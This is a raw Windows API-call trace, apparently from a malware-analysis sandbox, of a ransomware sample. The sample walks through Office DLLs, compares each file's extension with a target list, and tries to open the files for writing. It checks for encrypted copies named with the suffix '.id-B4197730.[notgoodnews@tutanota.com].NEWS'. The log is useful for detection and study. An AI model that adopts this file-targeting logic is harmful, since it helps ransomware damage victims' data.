lstrlenW (lpString=".rar") returned 4 [0174.137] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.137] lstrlenW (lpString=".bz2") returned 4 [0174.137] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.137] lstrlenW (lpString=".7z") returned 3 [0174.137] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0174.137] lstrlenW (lpString=".dbf") returned 4 [0174.137] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0174.137] lstrlenW (lpString=".1cd") returned 4 [0174.137] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0174.137] lstrlenW (lpString=".jpg") returned 4 [0174.137] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0174.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0174.137] lstrlenW (lpString=".doc") returned 4 [0174.137] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.137] lstrlenW (lpString=".docx") returned 5 [0174.137] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.137] lstrlenW (lpString=".pdf") returned 4 [0174.137] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.137] lstrlenW (lpString=".xls") returned 4 [0174.137] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.137] lstrlenW (lpString=".xlsx") returned 5 [0174.137] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.138] lstrlenW (lpString=".ppt") returned 4 [0174.138] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0174.138] lstrlenW (lpString=".zip") returned 4 [0174.138] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.138] lstrlenW (lpString=".rar") returned 4 [0174.138] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.138] lstrlenW (lpString=".bz2") returned 4 [0174.138] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.138] lstrlenW (lpString=".7z") returned 3 [0174.138] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0174.138] lstrlenW (lpString=".dbf") returned 4 [0174.138] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0174.138] lstrlenW (lpString=".1cd") returned 4 [0174.138] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0174.138] lstrlenW (lpString=".jpg") returned 4 [0174.138] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.138] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.138] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0174.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0174.139] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=19136) returned 1 [0174.139] CloseHandle (hObject=0x4dc) returned 1 [0174.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220 [0174.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0174.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0174.140] lstrlenW (lpString=".doc") returned 4 [0174.140] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.140] lstrlenW (lpString=".docx") returned 5 [0174.140] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0174.140] lstrlenW (lpString=".pdf") returned 4 [0174.140] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.140] lstrlenW (lpString=".xls") returned 4 [0174.140] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.140] lstrlenW (lpString=".xlsx") returned 5 [0174.140] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0174.140] lstrlenW (lpString=".ppt") returned 4 [0174.140] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0174.140] lstrlenW (lpString=".zip") returned 4 [0174.140] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.140] lstrlenW (lpString=".rar") returned 4 [0174.140] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.140] lstrlenW (lpString=".bz2") returned 4 [0174.140] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.140] lstrlenW (lpString=".7z") returned 3 [0174.140] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0174.140] lstrlenW (lpString=".dbf") returned 4 [0174.140] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0174.140] lstrlenW (lpString=".1cd") returned 4 [0174.140] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0174.140] lstrlenW (lpString=".jpg") returned 4 [0174.140] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0174.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0174.140] lstrlenW (lpString=".doc") returned 4 [0174.140] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.141] lstrlenW (lpString=".docx") returned 5 [0174.141] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0174.141] lstrlenW (lpString=".pdf") returned 4 [0174.141] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.141] lstrlenW (lpString=".xls") returned 4 [0174.141] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.141] lstrlenW (lpString=".xlsx") returned 5 [0174.141] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0174.141] lstrlenW (lpString=".ppt") returned 4 [0174.141] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0174.141] lstrlenW (lpString=".zip") returned 4 [0174.141] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.141] lstrlenW (lpString=".rar") returned 4 [0174.141] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.141] lstrlenW (lpString=".bz2") returned 4 [0174.141] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.141] lstrlenW (lpString=".7z") returned 3 [0174.141] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0174.141] lstrlenW (lpString=".dbf") returned 4 [0174.141] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0174.141] lstrlenW (lpString=".1cd") returned 4 [0174.141] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0174.141] lstrlenW (lpString=".jpg") returned 4 [0174.141] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.141] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.141] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0174.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0174.144] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=19136) returned 1 [0174.144] CloseHandle (hObject=0x4dc) returned 1 [0174.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220 [0174.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0174.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0174.144] lstrlenW (lpString=".doc") returned 4 [0174.144] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.144] lstrlenW (lpString=".docx") returned 5 [0174.144] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.144] lstrlenW (lpString=".pdf") returned 4 [0174.144] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.144] lstrlenW (lpString=".xls") returned 4 [0174.144] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.144] lstrlenW (lpString=".xlsx") returned 5 [0174.144] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.144] lstrlenW (lpString=".ppt") returned 4 [0174.145] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0174.145] lstrlenW (lpString=".zip") returned 4 [0174.145] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.145] lstrlenW (lpString=".rar") returned 4 [0174.145] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.145] lstrlenW (lpString=".bz2") returned 4 [0174.145] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.145] lstrlenW (lpString=".7z") returned 3 [0174.145] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0174.145] lstrlenW (lpString=".dbf") returned 4 [0174.145] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0174.145] lstrlenW (lpString=".1cd") returned 4 [0174.145] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0174.145] lstrlenW (lpString=".jpg") returned 4 [0174.145] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0174.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0174.145] lstrlenW (lpString=".doc") returned 4 [0174.145] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.145] lstrlenW (lpString=".docx") returned 5 [0174.145] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.145] lstrlenW (lpString=".pdf") returned 4 [0174.145] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.145] lstrlenW (lpString=".xls") returned 4 [0174.145] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.145] lstrlenW (lpString=".xlsx") returned 5 [0174.145] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.145] lstrlenW (lpString=".ppt") returned 4 [0174.146] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0174.146] lstrlenW (lpString=".zip") returned 4 [0174.146] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.146] lstrlenW (lpString=".rar") returned 4 [0174.146] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.146] lstrlenW (lpString=".bz2") returned 4 [0174.146] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.146] lstrlenW (lpString=".7z") returned 3 [0174.146] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0174.146] lstrlenW (lpString=".dbf") returned 4 [0174.146] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0174.146] lstrlenW (lpString=".1cd") returned 4 [0174.146] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0174.146] lstrlenW (lpString=".jpg") returned 4 [0174.146] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.146] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.146] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0174.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0174.170] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=18624) returned 1 [0174.171] CloseHandle (hObject=0x4f0) returned 1 [0174.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220 [0174.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0174.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0174.171] lstrlenW (lpString=".doc") returned 4 [0174.171] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.171] lstrlenW (lpString=".docx") returned 5 [0174.171] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.171] lstrlenW (lpString=".pdf") returned 4 [0174.171] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.171] lstrlenW (lpString=".xls") returned 4 [0174.171] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.171] lstrlenW (lpString=".xlsx") returned 5 [0174.171] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.171] lstrlenW (lpString=".ppt") returned 4 [0174.171] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0174.172] lstrlenW (lpString=".zip") returned 4 [0174.172] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.172] lstrlenW (lpString=".rar") returned 4 [0174.172] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.172] lstrlenW (lpString=".bz2") returned 4 [0174.172] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.172] lstrlenW (lpString=".7z") returned 3 [0174.172] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0174.172] lstrlenW (lpString=".dbf") returned 4 [0174.172] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0174.172] lstrlenW (lpString=".1cd") returned 4 [0174.172] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0174.172] lstrlenW (lpString=".jpg") returned 4 [0174.172] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0174.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0174.172] lstrlenW (lpString=".doc") returned 4 [0174.172] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.172] lstrlenW (lpString=".docx") returned 5 [0174.172] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.172] lstrlenW (lpString=".pdf") returned 4 [0174.172] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.172] lstrlenW (lpString=".xls") returned 4 [0174.172] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.172] lstrlenW (lpString=".xlsx") returned 5 [0174.172] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.172] lstrlenW (lpString=".ppt") returned 4 [0174.172] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0174.172] lstrlenW (lpString=".zip") returned 4 [0174.172] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.173] lstrlenW (lpString=".rar") returned 4 [0174.173] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.173] lstrlenW (lpString=".bz2") returned 4 [0174.173] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.173] lstrlenW (lpString=".7z") returned 3 [0174.173] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0174.173] lstrlenW (lpString=".dbf") returned 4 [0174.173] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0174.173] lstrlenW (lpString=".1cd") returned 4 [0174.173] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0174.173] lstrlenW (lpString=".jpg") returned 4 [0174.173] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.173] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0174.173] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0174.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0174.256] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=11616) returned 1 [0174.256] CloseHandle (hObject=0x454) returned 1 [0174.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220 [0174.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0174.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0174.751] lstrlenW (lpString=".doc") returned 4 [0174.751] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.751] lstrlenW (lpString=".docx") returned 5 [0174.751] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.751] lstrlenW (lpString=".pdf") returned 4 [0174.751] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.751] lstrlenW (lpString=".xls") returned 4 [0174.751] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0174.751] lstrlenW (lpString=".xlsx") returned 5 [0174.751] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0174.751] lstrlenW (lpString=".ppt") returned 4 [0174.751] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0174.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0174.752] lstrlenW (lpString=".zip") returned 4 [0174.752] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0174.752] lstrlenW (lpString=".rar") returned 4 [0174.752] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0174.752] lstrlenW (lpString=".bz2") returned 4 [0174.752] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0174.752] lstrlenW (lpString=".7z") returned 3 [0174.752] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0174.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0174.752] lstrlenW (lpString=".dbf") returned 4 [0174.752] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0174.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0174.752] lstrlenW (lpString=".1cd") returned 4 [0174.752] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0174.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0174.752] lstrlenW (lpString=".jpg") returned 4 [0174.752] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0174.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0174.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0174.752] lstrlenW (lpString=".doc") returned 4 [0174.752] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0174.752] lstrlenW (lpString=".docx") returned 5 [0174.752] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0174.752] lstrlenW (lpString=".pdf") returned 4 [0174.752] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0174.752] lstrlenW (lpString=".xls") returned 4 [0174.752] 